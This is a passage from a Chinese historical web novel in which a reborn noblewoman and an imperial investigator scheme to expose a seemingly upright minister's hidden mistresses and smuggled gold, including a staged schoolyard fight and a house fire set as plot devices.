而两个丫鬟自觉留下,不敢跟过去。前几次的经验。
来到隔壁。
赵炳煜一如既往,正在沏茶。
“凝玉见过赵大人。”
“坐。”同样的,还是如上次一样,一个字。
赵炳煜优雅地为两人各斟了一杯茶。
“找本官何事?”他问得直接。
收到消息,他丢下手里的公务,急速而来。
有一种淡淡的期待,想见到她。
“赵大人,今日我在公主府被人设计,你可知道?”霍凝玉定定看着他的眼睛,想看出些什么。
她只是猜测,不敢肯定。
但又不能直接问。
“知道。”简单明了。
“大人,是不是你帮了我?”霍凝玉带着些许兴奋,眼睛明亮,闪着耀眼的光芒。
看得赵炳煜一时失了神。
端起的茶杯久久没送到唇边。
“赵大人?”霍凝玉带着疑惑轻轻唤了一声。
“你希望是我帮了你,还是希望不是我帮了你?”赵炳煜不答反问。
“呃......”霍凝玉被问住。
这要怎么回答?
“不知道如何回答?”赵炳煜坐直了身子。
有种淡淡的不满溢出。
“我当然希望是赵大人帮了我。”出于本能,霍凝玉没细想就说了出来。
两人关系更近,以后就能多多合作。未来还要求他的地方多着呢。
赵炳煜胸膛震动了两下,轻咳了两声,唇角微微弯起。
“当真?”
“当真。”霍凝玉重重点头。
“本官还等着你多做梦,再告诉我更多有用的消息。
所以本官派了人暗中保护你。
今日在大公主府,你收到的纸条就是我安排的人写给你的。”赵炳煜也不瞒她。
做了好事就得让她知道。
不然白做了。
“什么?你一直就安排人在我身边?我怎么没发现?”霍凝玉很想说,你让人监视我。
可人家是好心,不能这么怀疑人家。
“让你察觉,就失职了。以后你遇到危险,可直接叫他出来,他叫青风。”赵炳煜说完,拍了拍手掌。
门被推开。
一个二十左右的男子走了进来。
“见过主子,见过霍小姐。”男子一拱手。
“青风,叫你进来,是让霍小姐认识一下,以后你就跟在霍小姐身边,务必护她安全。如若她有什么闪失,唯你是问。”赵炳煜当着霍凝玉的面,再次吩咐。
“是。”
“赵大人,这怎么好意思。我......”霍凝玉受之有愧。
她到现在只提供了两个消息,就得了这么大的好处。
而且两人的关系还没近到这个程度。
“不必多说,你提供的消息对本官来讲很重要,所以你的安全更重要。”
“多谢赵大人。”霍凝玉只得接受。
想到以后要做的事,她也舍不得推拒。
霍凝玉不知道的是,青风是圣上前几日刚送给赵炳煜的暗卫,一共只有四人。
他就立即安排了一人跟在霍凝玉身边。
“青风,把今日之事向霍小姐说一遍。”赵炳煜吩咐道。
“是。霍小姐,今日害你的并不是陈三小姐,而是大公主刚收的义女江姑娘。”青风当时就藏在园子里某棵树上。
以他的身手,自是不会被人发现。
“什么?”霍凝玉一直以为是陈芳蓠害她。
“江姑娘利用陈三小姐对你的恨意,故意落下一个荷包让陈小姐捡到。里面装的就是放气粉。”青风解释道。
“原来如此。白眼狼果然歹毒。她想让我以后都没脸出门。可我要怎么收拾她呢?又不在一个府里住着。而她现在又傍上了大公主,更没机会下手了。”霍凝玉很懊恼。
“她认了大公主为义母,自会走到人前,以后各种聚会,她定会参加,机会自然少不了。”赵炳煜提点。
“你说得对。”霍凝玉很快接受这个现实。
她不急
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,江宁最大的作用还没发挥,到那时,才是报仇最佳时机。
“这几日本官安排人盯着林叙卿外室,一直没有传来消息。”赵炳煜一时找不到什么话题和霍凝玉聊,只得说起案子。
“你打草惊蛇了,他自然警觉起来。”
意料之中的事。
“要想抓到他的把柄需得花些功夫。”
“这个我就帮不了你了。对了,你身上的伤怎么样了?”霍凝玉想到那晚帮他包扎的伤口。
“已无大碍。”
听到霍凝玉关心他的伤,赵炳煜心里升起一丝暖流。
从来没有哪个女人关心过他的伤。
别人都有母亲关怀,或者姐妹关心,而他早早就没了母亲,府里异母妹妹与他如陌生人。
皇伯父虽是长辈,可他太忙。
自他十五岁后再没让皇伯父操过心,受伤了也不会告诉他,一个人默默受着。
而今日,有个女人问他伤怎么样。
这种被关心的感觉很奇妙,如柔软的棉花贴在身上,又如微风般轻柔拂面。
两人一时又陷入沉默。
霍凝玉也不知道找什么话题与他聊,感觉很别扭。
想起身告辞,但赵炳煜又开口了。
“你......对谢正阳可还有情?”静默了几息,赵炳煜犹豫着问道。
他也不知道自己怎么就问出这个问题,但他就是想知道。
“呵,情?我对一条狗有情,都不会对他有情。“一说起谢正阳,霍凝玉刚才的别扭完全消失。
“你恨他?”赵炳煜嘴角又勾了勾。
“岂止是恨,我......”霍凝玉立刻刹住,差点就说漏嘴,报出他杀了自己的事说出来。
“赵大人,你说这世上哪个女子受得了明日就要成亲,自己要嫁的未婚夫却与别的女子私相授受,这对女子来讲不仅是名声扫地,更是奇耻大辱。
他谢正阳还是伯府世子,难道不明白这个道理吗?他如此欺辱于我,我恨不得吃他的肉,喝他的血。”
霍凝玉很激动地表达自己对谢正阳的恨意。
这样应该是正常反应吧?
“看来你对他情根深种。”赵炳煜勾起的嘴角压了下来。
“怎么可能?”霍凝玉不可置信。
赵大人怎么如此猜测?
她明明很恨谢正阳。
“爱之深,恨之切。”赵炳煜慢慢地,一字一顿。
第52章 蚂蚁搬家
林宇和余征各去守一个门。
霍凝玉被赵炳煜带上一棵树。
又一次被他搂在怀里。
霍凝玉挣扎了两下,差点掉下去,不敢再动。
两人如此亲密接触已不是第一次,她好像习惯了。
乖乖待着。
只是男人轻微的呼吸吹在耳畔,痒痒的,麻麻的。
很想把人推远一点,可又不敢动,万一掉下去,不但暴露,还会摔伤。
前世今生她都没有这么纠结过。
赵炳煜闻着怀里女人的女儿香,有些晃神。
不知从什么时候起,他居然在闲暇之余偶尔会想到这个女人。
那一晚,他被几个暗卫追杀,他情不自禁就闯进这个女人的闺房。
本是想去质问她为什么没有提醒他,林叙卿在外宅配有暗卫。
导致他粗心大意被发现。
他无论如何也不会想到一个清正廉明的文官,还能养得起暗卫。
养外室,他可以理解。
暗卫不是一般人能养得起的。
可当她轻柔地帮他包扎伤口时,他的心前所未有地平静。
那一刻,他想到了早逝的母妃,每次他顽皮受了伤,母妃除了责备他,又很心疼地帮他处理伤口,那是一种被爱的幸福。
而那一晚,他又体会到了。
此时让他平静的女人就在怀里,他没有男人的那种冲动,只觉得心无比安宁。
没过多久,当真听到马蹄声传来,很轻。
马蹄应该包了布,减轻脚步声。
霍凝玉把在男人怀里的事放到一边。
睁大眼睛看着。
马车靠近,一盏走马灯挂在车门上。
林叙卿从马车里下来,衣服已经换过。
车夫加两个暗卫四个男人从马车里把三个筐抬下。
林叙卿力气不够,与车夫一起抬,结果没抓稳,筐从车上滑下。
菜撒了一地,同时还有黄色的东西一并撒出。
隔有一定距离,霍凝玉没看清。
而当林叙卿手忙脚乱捡来往筐里装时,她看清了。
金锭!
果然如他们之前的猜测。
很快,三个筐被抬进院。
通过树隙,看到是抬进前院,只他们四人,没有惊动林家其他人。
为了不再打草惊蛇,赵炳煜并没有让人进去看林叙卿把东西藏到什么地方。
只要知道东西在林家,到时自能找到。
“走吧,我送你回去。”赵炳煜带着霍凝玉下了树。
几人又回到马车里。
“赵大人,你如何计划的?”霍凝玉问。
这个消息是她提供的,她想参与其中,她想知道最后的结果。
通过这件事,她有一个大胆的计划。
与赵炳煜密切合作,把辰王的人一个个搞倒,让他的势力不会如前世那般庞大,看他还怎么成事。
做官的,没几个干净的,尤其想站队的。
不急,一个一个来。
“今夜他搬了三个筐,做得如此隐秘,我估计他打算用蚂蚁搬家的方式把东西慢慢转移到家里。
我会派人跟踪,等他转移得差不多,再动手。”
“你想人赃并获?”霍凝玉懂了。
“不,脏已在他府上,只需让他清廉的形象坍塌,我就可以直接搜查。那两个外室穿金戴银,两个外宅内里装饰奢华,就凭这一点,他就无从抵赖。”
“也就是你在没有任何理由的情况下,是不能随便搜查官邸的,对吧?”霍凝玉明白了。
他是官,不是匪。
“除非有圣旨。”赵炳煜点头。
他手里的人还是太少了,办起事来并不随心所欲。
看来得向皇伯父提一提。
从禁军中再选些人入皇城司。
“对了,如何让林大人的外室暴露于人前,这事还请霍小姐帮忙。”赵炳煜又道。
这种事,让女人来做更合适,也更自然。
“没问题。”霍凝玉欣然接下这个任务。
“希望他快些把金银转移完。我等着看林大人被百姓和同僚大骂的情景。
人真的不可貌相啊。
一个扮了一辈子清贫的人,私下里谁也没想到会如此不堪。”霍凝玉感叹。
“没错,就像谢正阳,你要不是婚前知道了他与江宁私相授受,或许你已经嫁进了谢府。
而他也会瞒着你去那方小院与江宁私会。和林大人一样。”赵炳煜有意无意又提到谢正阳。
“没错。”霍凝玉带着淡笑的脸,慢慢变得面无表情。
可不就是如此吗?
而被他们两人提到的谢正阳此时正兴奋地与江宁拥抱在一起。
白日里,夏宜宣被大公主敲打,
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回去就向大儿子发了一通脾气。
而谢正阳却任母亲说什么都不回嘴,心里却美得快飞起。
他可以正大光明娶宁儿为妻了。
世上再没有比这更好的消息。
天色擦黑,他就悄悄来到公主府角门,给了守门婆子一两碎银,让她给江宁送个消息。
他在这里等她。
那婆子当然也知道公主的态度,自是很乐意收下一两银子,替他传这个话。
她一个守门的,一月也就一两月银。
“正阳,我们终于可以在一起了。”江宁紧紧依偎在谢正阳怀里。
“嗯,我会尽快准备好聘礼来公主府提亲。”谢正阳也激动不已。
“可是伯夫人对我总是看不顺眼。”江宁想到夏宜宣对她的态度,心里有些发怵。
“不用担心,只要我们尽快生个儿子给她抱,她自会对你好的。
而且我娘只是刀子嘴豆腐心,过一段时间就好了。到时你多顺着她些就没事了。”
谢正阳对自己母亲什么脾性最清楚。
“嗯。”
“宁儿,前些日子我被派出京追一个逃犯,我都好些日子不见你了。快说说你们是怎么入公主府的?”谢正阳很好奇。
江宁见他问这个,拉着他走远些,再四周看看,见无人,才开始说起。
但声音很小。
“正阳,我和我娘能进公主府是辰王殿下安排的。
我娘的医术你也知道,入了大公主的眼。
大公主这么多年的不孕症在我娘的针灸下,再辅药物,正在慢慢好转。
我估计辰王可能想拉拢大公主,而我和我娘正是这个纽带,我嫁给你,同时也是想谢家也入他的阵营。
所以,正阳,如果我们成亲,这事不可再犹豫。不然辰王不会放过我们的。”
江宁逮住一切机会游说谢正阳。
“我明白了。”谢正阳听后心里震惊不已。
辰王果然好手段。
这么轻易就办成这件事。
可见他的能力之强。
这样的人走到那个位置,不出奇。
“对了,正阳,你可调查到那日你娘坐的马车是谁动的手脚?”江宁对被赶出京一事,还是耿耿于怀。
要是让她知道是谁,肯定会报复回去。
“没有,但我有怀疑的对象。”
第53章 谢家下聘了
“是不是霍家?”江宁早就往霍家身上猜。
目的就是让谢家把她们母女撵出京,再也没有机会嫁入谢家。
“你也这么认为?”
“除了霍家,谁与我们有仇?”江宁此时对霍家的恨更上一层。
要是她的父亲活着,她也有一个幸福的家,然而一切都因父亲的死,全变了。
凭什么霍凝玉有宠她爱她的家人,而她只能嫉妒地看着,一看就是八年,那种痛无人理解。
只有母女俩抱着相互安慰。
“宁儿,我知你心里难受,但什么都没有你顺利嫁给我重要。
现在霍家投了太子阵营。太子病弱,根本成不了事,所以你不要乱来,等辰王成事时,霍家自然没有好下场。”谢正阳劝道,怕她被仇恨支配做下错事。
“我知道。”江宁立刻露出笑脸。
但她心里怎么想的,就是另一回事了。
霍家,她不会放过,只等机会。
——
霍凝玉被赵炳煜送回家,霍家四口早就等不及。
要不是霍凝玉让两个丫鬟给家里人说,她与赵大人有正事去办,霍鹏程早就带着人出去找了。
“你一个姑娘家,大晚上和一个外男在外面这么久,你就不怕他起歹念?”容华芝脸色有些难看。
她的好闺女,才遭遇退亲,可不能再出什么事。
“娘,您放心,我与赵大人真的是去办正事,而且他还交给我一个重要任务,这事还得请娘出面一起帮忙呢。”霍凝玉转移母亲的注意力。
“什么任务?”容华芝果然不再追着教训女儿。
霍凝玉就把林叙卿的事说了一遍,包括前世她看到的那些事。
听得一家人一愣一愣的。
“大姐,林大人真如你所说?”霍鸣昶简直不敢相信。
京中谁人不知林大人一生清廉。
霍鹏程也没想到竟有这么会装的人。
“这不可能吧?”容华芝也不信。
林夫人与她也有接触。
她家大人清廉,引以为荣。
明明穿着旧衣,却总把头抬得高高的,从不认为自己寒酸。
当然也没人敢说她寒酸,圣上都赞誉有佳的清廉之人,谁不敬着。
“以后你们就知道了。”霍凝玉说得肯定,“娘,我们商量一下怎么做。”
一家人商量了半个时辰才散去。
最终还是霍鸣昶想出来的主意。
时间很快来到十月中旬。
秋意更浓。
凝华院里的海棠树,叶子已经黄了不少。随着秋风,飘飘洒洒落于地上。
好在南楚国地处南方,只是秋凉,但并不冷。
这一日,霍凝玉把琴搬到海棠树下。
一个月来,霍凝玉与顾佳倩共一位先生。
先生姓吴,都叫她吴娘子,是宫里退下来的女官,琴弹得特别好。
出宫后,被各家长辈请去教家中小姐弹琴。
一生没有嫁人,独居一处。
因其名望高,受世人尊重,无人敢欺。
“霍小姐,你学得很快,只短短一个月时间,就已学会了三首难度较大的曲子,实属难得。照此下去,要不了多久,就能超越很多闺中小姐。”
吴娘子又听霍凝玉弹了一遍《鹤唳九霄》点头夸赞。
她教徒无数,霍小姐是学得最灵透的,只需讲解一到两遍,就能明了她的意思,同时也领会曲子所表达的意境。
这样的学生让人一旦遇到就想倾囊相授。
“是吴娘子教得好。”霍凝玉谦虚道。
“霍姐姐,你本就学得好。”顾佳倩羡慕道。
她把先生分享给霍姐姐,结果人家才一个月时间就要追上她了。
“哪里,你比我弹得好多了。”霍凝玉笑道。
“我都学了三年了,而你才一个月。”顾佳倩撅起了嘴。
“我以前也学过的,有基础。”霍凝玉以前不感兴趣,但也练过。
现在她的心态成熟,知道学些东西对自己有好处。
看书明理,学琴怡情,作画静心,下棋思聪。
每一样都有好处。
“休息一下吧,不然手会很累。”吴娘子发话。
已经弹了快两个时辰。
“我早就想休息一下了。”顾佳倩带着小小的抱怨。
霍姐姐太能坚持了。
丫鬟搬来小茶几,三人开始品茶。
吴娘子又趁机教两位小姐点茶的技艺。
两人都学得很认真。
霍凝玉画了一幅峻岭图,得到吴娘子和顾佳倩的大加夸赞。
“霍姐姐画得真好,那谢正阳绝对是眼瞎。”顾佳倩拍手叫好。
两个伺候在旁的丫鬟听到顾小姐拿那个人来衬小姐,不高兴
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了。
“顾四小姐,以后尽量不要在我们小姐面前提起那个不知廉耻的狗男人。”玛瑙忍不住提醒道。
“对对对,看我这张嘴,不会说话。”顾佳倩也是一时没想那么多。
“那人我从没在意过。以前不过是因为婚约罢了。我又没对他情根深重。”霍凝玉说得一脸无所谓。
“霍姐姐拿得起放得下,让我佩服。”顾佳倩露出钦佩的模样。
“我听说,谢家已经去公主府下聘了,也递了请期,年前就要举行婚礼。”吴娘子见霍凝玉当真对谢正阳没有情意,也提了一嘴。
“是吗?大公主认义女那日就向忠义伯夫人提了亲,谢家再有意见也不得不把江宁娶进府。”霍凝玉说得轻描淡写。
好像那两人与霍府从来就没有交集。
她重生也没改变他们两人走到一起的结局。
看来有些事无论发生什么变化,也会按它既定的轨迹走。
“不过,听说忠义伯府并没有拿出多少好东西,聘礼只二十四抬,当场就让大公主训斥了一顿。
谢家人被大公主说得抬不起头来,只得又拿了一万两银子来压箱,才让大公主满意。”吴娘子继续说出自己知道的。
她的一个朋友正是大公主请去教慧兰县主的先生,知道得比较清楚。
“也就是说忠义伯夫人并不满意这个儿媳妇,所以故意想给江宁难堪?”顾佳倩猜测。
“那样的儿媳妇,换谁家都不会喜欢,也就大公主觉得这样的女子有胆识,敢于为自己的幸福争取,与自己的命运抗争。”霍凝玉也不怕说起大公主那点事。
京里知道的人不少。
吴娘子和顾佳倩都不敢接这话。
“霍姐姐,如果到时大公主给霍府发来请帖,去给江宁添妆送嫁,你会去吗?”顾佳倩估计大公主肯定会邀请霍家。
“去,为什么不去。我又没做亏心事,亏心的是她。”霍凝玉还想多些机会接触到江宁呢。
万一正好有机会报上次害她的仇呢。
珍珠领了几人的午膳来,直接摆到小几上。
三人吃着,又聊了会儿。
这时,一个小丫鬟匆匆进来。
“大小姐,门房送进来一封信,指名给你的。”
霍凝玉接过,抽出信一看:“林去南城区,夫人出城。”
第54章 先算计,再放火
看到这几个字,霍凝玉面色一喜,等了这么久,终于等到机会。
“霍姐姐,谁给你写来的信?”顾佳倩好奇问道。
她见霍凝玉脸上笑容很奇怪。
“是青黛,她约我下午去她家。她最近喜欢下厨,做了几样糕点,想请我去尝尝。”霍凝玉撒了个谎。
“既然你下午有事,今日就到此吧。”吴娘子起身,准备告辞。
“嗯,佳倩,改日我们约青黛一起逛街,她经历了那事,性子变了很多,你一定也会喜欢她的。”
“好。我送吴娘子回去。”顾佳倩挽上吴娘子的胳膊。
以前与霍凝玉只限认识,这一深交,才知道她是个热心又善良的好女子。这样的人交的朋友定也是好女子。
霍凝玉送她们出门后,来到主院。
“娘,机会来了。”霍凝玉兴奋笑道。
容华芝一愣,没反应过来女儿说的什么。
“林大人。”霍凝玉提醒,把手里的信给她看。
容华芝看了,会心笑道:“等了这么久,终于等到我上场了。”
“娘,快点,梳妆一下,出城去。地址你可记好了,别走错了。”
“放心,保证把人引到那里去,你也要小心。”
母女俩相视而笑,有种要去做贼的感觉。
很快,霍府使出两辆马车。
霍鸣羡陪着母亲出城。
霍凝玉则一个人带着丫鬟和青风去城南一个私塾,叫载道堂。
到了私塾附近,停下马车。
“你们两个就在马车里待着。”霍凝玉吩咐珍珠两人。
“是,小姐。”
两个丫鬟一身普通百姓着装,麻布对襟外衫,而且还打了补丁。
脸故意被抹黑,头发只用一根简单的木簪别住。
一看就是穷苦人家的姑娘。
霍凝玉下了马车。
青风现身。
“青风,带我上那棵树。”霍凝玉指了指载道堂院墙下的一棵大枫树。
树叶茂密,虽黄了,好在没掉多少。
“得罪了。”青风低语一声,带着霍凝玉就上了围墙,再一跃上了树。
把霍凝玉放在一个隐蔽的树杈上。
两人静静待在上面。
“夫子至于是邦也,必闻其政;求之与,抑与之与?
夫子温、良、恭、俭、让以得之;夫子之求之也,其诸异乎人之求之与?”
朗朗读书声传来。
等了约一刻多钟。
几个课室里涌出一群孩子,约有三十几个。
大小不等。从几岁到十几岁都有。
难得课间休息,孩子们如出笼的鸟,在院子里开始玩耍。
霍凝玉在每个孩子脸上扫过。
咦,怎么没有她要找的人。
不会这么倒霉,那孩子今日没来上学吧?
再等等。
出现了,原来是去上茅厕。
一个十二岁左右的小男孩,一身青色衣衫,绣着精美的祥云滚边,衣襟上也绣有如意图案。
衣服料子光泽耀眼,一看就是绸缎料子。
小男孩一来到孩子群里,就很不客**大家一起玩的藤球。
动作有些蛮横。
有几个孩子看是他,都不敢上前抢。
但也有几个比他大的孩子不让他,去抢。
“青风,看清楚,就是刚才一来就抢,穿青色衣衫那个,让他与人发生激烈的矛盾,最好打起来,打得鼻青脸肿。”霍凝玉手下不留情。
那孩子被宠得无法无天。
后来知道自己身份后,更加纨绔,欺负弱小。
青风下去捡了几个小石子捏在手里。
当看到有人挡住那小子时,就扔出一个小石子,击在挡住那小子的小孩腿弯。
被打中的孩子,一个趔趄,扑向前,正好砸在青衫小子身上。
这下不得了,那小子一个不察,摔在地上,好巧不巧,磕到了牙,疼得立刻惨叫。
同时抬腿就猛地一踢,把砸在他身上的小孩踢开。
青风再扔出一个小石子,又一个孩子被后面的人推倒,砸了下来。
这下捅了马蜂窝。
那小子爬起来就对两个砸了他的孩子拳打脚踢。
那两孩子比他年纪还长,被踢得疼了,一起扑向他。
而那小子平时就趾高气扬。
趁着这个机会,一个个平时与他有仇的都一窝蜂扑上去帮忙。
很快引来先生,才把势态控制住。
可是那小子在一群孩子的**下,鼻血横流。
脸上淤青几处,身上更是疼得他哇哇大叫。
“怎么回事?”先生气炸了。
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可是谁也说不出个所以然来。
就是抢个球引发的矛盾。
两个被青风打中的孩子以为是自己没站稳,或者跑得太快,没刹住脚。
先生见孩子伤得着实不轻,把其他孩子都罚站在太阳底下。
想带那小子去看大夫。
可那小子死活要回家找娘。
先生没办法,只得让个小厮送他回家,并带话给孩子家人,散学后会去给家长道歉。
霍凝玉看到这个结果,正是向自己的预期发展。
向青风打了个手势。
悄悄下了树。
“走。”霍凝玉兴奋地吩咐车夫。
向那小子离去的方向而去。
几人看到那小子哭着进了一个院子。
马车停下,离有一定距离。
“鸿儿,谁把你打成这样的?”里面传来一个妇人的惊叫。
“娘,是同窗,他们好多人一起打我。娘,我好疼。”小孩哭着告状。
“真是吃了熊心豹子胆,我的儿都敢打?娘一定给你讨回公道。”妇人气坏了。
“娘,一定要告诉爹,让爹给我做主,把那些同窗都打一顿,打得他们再也不敢欺负我。”小孩知道自己爹最厉害。
“你爹今天不回来。”
“娘,为什么,我都被人打成这样了,你为什么不派人去喊他回来?”小孩从没受过这种气,此时他就想要爹给他撑腰。
霍凝玉听着母子俩的对话,心里嗤笑。
外室子,怎么可能想见爹就能见到的。
“青风,接下来看你的了。放火把那小院烧了,注意不要让火势波及旁边人家。”霍凝玉小声吩咐。
青风从马车里提出一桶油,离去。
没过多久,小院厨房位置燃起了滚滚浓烟。
火势凶猛。
赵炳煜早就传了消息给她,这个小院的暗卫已经撤走。
说明林大人已经把钱财转移完了。
不然她也不敢带着青风来此作案。
院子里的主仆几人立刻撤出小院。
一个衣着不俗的妇人看着大火,哭天喊地。
邻居们一看到起了大火,纷纷出来看热闹。
相邻的两家眼睛盯着火势,可千万别烧到他们家。
“珍珠,玛瑙,该你们上场了。”霍凝玉见时机差不多。
第55章 马车坏了
珍珠和玛瑙下了马车。
一人挎一个菜篮子,向热闹的人群走去。
“杜婶子,发生这么大事,你怎么还不快去找你家男人回来?”珍珠带着焦急冲那妇人说道。
杜氏本就伤心难过,可是男人不是她想找就能去找的。
抹了抹眼泪,再看珍珠。
“你是谁家姑娘,我怎么从没见过你?”杜氏很警觉。
“杜婶子,我们是刚搬到附近的,你没见过我们,但我们都知道你。”珍珠解释道。
杜氏本就很少出门,周围换了什么住户,她根本不知道。
又见两个姑娘穿得这么破,信了几分。
“杜婶子,你家男人又离得不远,还是快去通知他回来吧。”玛瑙帮腔。
“什么?”杜氏不明所以。
她男人是谁,她再清楚不过,怎么可能离此不远。
他此时应该刚下职没多久。
“不骗你,我和妹妹去买菜时,正好看到他进了一家和你家一样大的院子。
而且那家的婶子很热情把他迎进去。就像他每次来你这儿,你也很热情把他迎进门一样。”玛瑙说得有鼻子有眼。
真如亲眼所见。
“你真见过我家男人?”杜氏不太相信。
难道大人养了她,另外还养了别的女人?
“是啊,高高瘦瘦的,大概五十左右,眼睛左角有一颗黑痣,走起路来昂首挺胸,很有气势。”玛瑙连林叙卿的外貌都描述了一遍。
杜氏这回真信了。
“你真见到他了?”杜氏抓住玛瑙的胳膊,寻求肯定。
“真的,就是我和姐姐买菜回来时看到的,离此不算远,也就两里左右。如果你不信,我可以带你去。”玛瑙很热情。
看了看正在燃烧的火焰,面露同情之色。
“杜婶子,快走吧,今晚这房子你们也住不得了,男人这时候不出面,还算什么男人。你们母子总要让他安置吧。”珍珠加一把火。
“娘,我要找爹。”儿子这时候又加一把火。
杜氏心里苦啊。
老爷不许她去找他,他有空自会来找她,每月的银子给够她花用。
母子两人生活从没苛待过,可就是见不得光。
可是转念一想,那个女人也是外室,又不是林夫人。
不会把她怎么样,或许以后还能合作对抗夫人。
万一哪天被夫人发现了,她们两人还能相互扶持。
想通这点,杜氏拿定主意,牵着孩子,让珍珠两人带路。
两个丫鬟跟上,留下一个婆子去找人帮忙灭火。
霍凝玉见珍珠两人带着那妇人走后,才让车夫赶着马车不远不近跟着。
再说另一边。
容华芝坐着马车出城,霍鸣羡骑马跟在车旁,往护国寺而去。
在护国寺果然看到林夫人在送子观音殿里上香。
“林夫人,恭喜恭喜。”容华芝见到林夫人,笑着打招呼。
林家一个月前刚又得了一个孙子。林家儿媳妇都三十岁了,又给林家添了一个孙子,林夫人高兴坏了,特来替儿媳妇还愿。
“霍夫人,同喜同喜。你家大公子也二十了吧,娶了个媳妇,你也能抱上孙子了。”林夫人笑得很开心。
“哎,本来好好的婚事,被谢家那事一闹,连儿子的婚事都受到了影响。”容华芝故意露出愁容。
“不用担心,陈家小姐眼瞎,等明年你家大公子考个状元,看她不后悔死。
你也别急着给大公子找媳妇,明年会考过后,估计你家门槛都要被媒人踏破。”林夫人安慰。
“借林夫人吉言。既然相遇,我们结个伴吧。”容华芝提议道。
“好啊。”林夫人也是一个人,正好两人有个伴。
护国寺,两人都来过多次,而林夫人早就来了。
本就打算回去,容华芝带着任务,一看时间差不多,准备回去,林夫人立即点头。
一起下山。
可是走到半路,林夫人的马车突然出了问题,轮子转不动。车夫检查,居然是辐条断了。没法修理,只能找人来拉回城再修。
“林夫人,与我同坐吧,我送你回去,你家马车留给车夫处理。”容华芝邀请道。
“那就麻烦你们母子了。”林夫人不好意思地上了林家的马车。
家里的马车都用了十几年了,老头子硬是不让换,三不两天就坏一次。
想起这个
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,她心里也是有气的。
虽然名声好听,可是家里的日子过得哪像官宦人家。
儿媳妇和她都要拿嫁妆出来贴补家用。
霍鸣羡骑上马,回头看了一眼坏在路边的马车。
心里乐得想笑出声。
也不知道赵大人是怎么办到的。
不过想到那破马车,林夫人想怀疑是人为都难。
一行人慢慢入城。
可是没走多远,前面围了好些人,还有数辆马车堵在路中间,等着过。
“发生什么事了?”容华芝听到人声喧哗,掀开车帘问道。
“娘,前面的路被堵了,儿子这就去打听怎么回事。”霍鸣羡下了马,亲自去打听。
过了好一会儿才回来。
“娘,皇城司在办案。发生了凶案,高家三公子从二楼跌下来,当场摔**。说是与定远侯家的五公子为了争一个唱曲儿的姑娘,大打出手。引起了一场打斗。”霍鸣羡把打听到的说了一遍。
“怎么会出人命?”林夫人也惊愕不已。
“哎,两个都是纨绔子,迟早会出事,这下好了,两家肯定结仇。”容华芝冷哼一声。
“定远侯的五公子,只是个庶子,居然敢和高家公子发生冲突,这胆子也太大了。”林夫人不敢想象。
幸好她家没有这种糟心的庶子。她家老爷也如霍尚书一样,一辈子没纳妾。
本来她想给老爷纳一房妾,证明自己大度的,老爷却说有那钱,还不如给他买二两好酒喝。
从老爷说了那话以后,她每半月给他买一瓶好酒。
“高家虽是世家,但怎么能和定远侯比,那可是辰王的岳家。万一以后......”容华芝后面的话没说完。
但谁都知道,万一辰王上位,定远侯就是国丈,谁敢得罪。
“娘,林夫人,看来一时半会儿这路通不了,我们还是绕道走吧。”霍鸣羡看了看天色。
时候不早,还要送林夫人一程,如果不快些,恐会天黑才能到家。
“好吧。”容华芝点头。
霍鸣羡带路,车夫跟上,由东往南行。
另一边,珍珠和玛瑙带着杜氏走了一刻多钟,来到一个小院门前。
第56章 计策下,几方巧遇
“杜婶子,我们看到你家男人就是进了这家。不信你敲门进去。我们还要回家做饭,就先走了。”珍珠和玛瑙把人带到,迅速撤退。
来到一个拐角处,果然看到自家小姐在这儿等着。
“小姐,幸不辱命。”玛瑙小脸兴奋。
没想到她也会演戏。
“做得不错,这月给你们双倍月银,再给你们每人一根簪子做奖励。”霍凝玉很满意她们的表现。
“谢小姐赏。”
”上车把衣服换了吧。”霍凝玉摆了摆手。
杜氏牵着孩子站在门前,犹豫着要不要敲门。
“娘,爹真的在这里吗?”孩子有些等不及。
“不知道。”杜氏还是怕被刚才两个姑娘给骗了。
“娘,敲门吧。那两个姐姐应该不会骗我们,我们又没给她们什么好处。”孩子没多少心机。
杜氏看到孩子脸上的淤青,想到自己住的小院已经付之一炬,不再犹豫。
敲门。
几息后,有人来开门。
是个婆子。
婆子看了杜氏一眼,又扫向孩子。
“天可怜见,这孩子怎么了?”婆子生出同情。
“被人给打了,婶子,可以去你家给孩子洗洗吗?”事到临头,杜氏又改了话头。
变成求人帮忙。
如果真是老爷的外室,她一报名字找老爷,对方肯定会警惕,不让她进,或者说她找错地方了。
“进来吧,我给你打盆水来。”婆子把人让了进去。
霍凝玉看到人进去了,一颗提着的心才放下。
而就在这时,对面驶来一辆马车,一男子护在车旁。
霍凝玉看到骑在马上的大哥,两人对视一眼,霍鸣羡挥了挥手,让她躲好。
容华芝把头伸出窗外,也看到了女儿缩进马车的身影,就知道到了地方。
“林夫人,口有些渴,车上的水已经没了,我让鸣羡去旁边这家要些水来。”容华芝让车夫停下马车。
“你一说,我也有些口渴了,秋天就是容易干燥。是得多喝些水,嗓子才不会感觉干涩。”林夫人也感到有些不舒服。
霍鸣羡亲自去敲门。
刚刚打了水来的婆子听到又有人敲门,放下水去开门。
院子本就不大,短短时间,门就被敲了两次。
里屋的林叙卿和养在这里的外室向氏一起出来,想看看怎么回事。
刚一出门,被打得鼻青脸肿的杜氏子一眼就看到自己的父亲。
“爹,你果然在这儿。哇......”杜氏子一看到亲爹,所有委屈齐发,放声大哭起来,扑向林叙卿。
而就在这时,婆子已经把门打开,霍鸣羡出现在大门外。
他也一眼就看到廊下站着的林叙卿。
“林大人?”霍鸣羡故意露出震惊到无以复加的表情。
而且他的声音还比较大。
马车里的林夫人和容华芝都听到了。
“什么林大人?”林夫人还惊了一下,因为林大人这个称呼她太熟悉,自然十分敏感。
撩开车帘,正对着大门里。
廊下站着,正被一个小子抱住的男人可不正是她家老头子吗?
“爹,我被人打了,好疼。家里也不知道怎么回事,突然起了大火,我和娘住的小院被烧了个精光。”
杜氏子完全没发现自家爹身子僵硬,胡子正一抖一抖,不知如何是好。
而就在这时,他看到了谁。
他的老妻,曾氏。
就在大门外,脸在马车窗里。
林夫人揉了揉眼睛。
他家老头子怎么会在这里?
再看,当真是他。
林夫人已经听到那小子叫的是爹。
爹!
那是他儿子?
他什么时候还有这么小的儿子?
林夫人此时什么都不敢想。她怕自己想错了。
她不知所措,神情呆若木鸡。
“林夫人?林夫人?”容华芝连叫两声。
“霍夫人,那是老林对不对?”林夫人需要有人给她准确的答案。
她怕自己真的看错了。
“是林大人,只是......”容华芝想说,林大人可能此时不想见到她。
突然,林夫人如打了鸡血般激动。
哧溜,下了马车,几步跨进院子。
看到两个妇人,穿金戴银,比她这个正室不知好了多少倍。
心里的火气,噌噌噌直冲天灵盖。
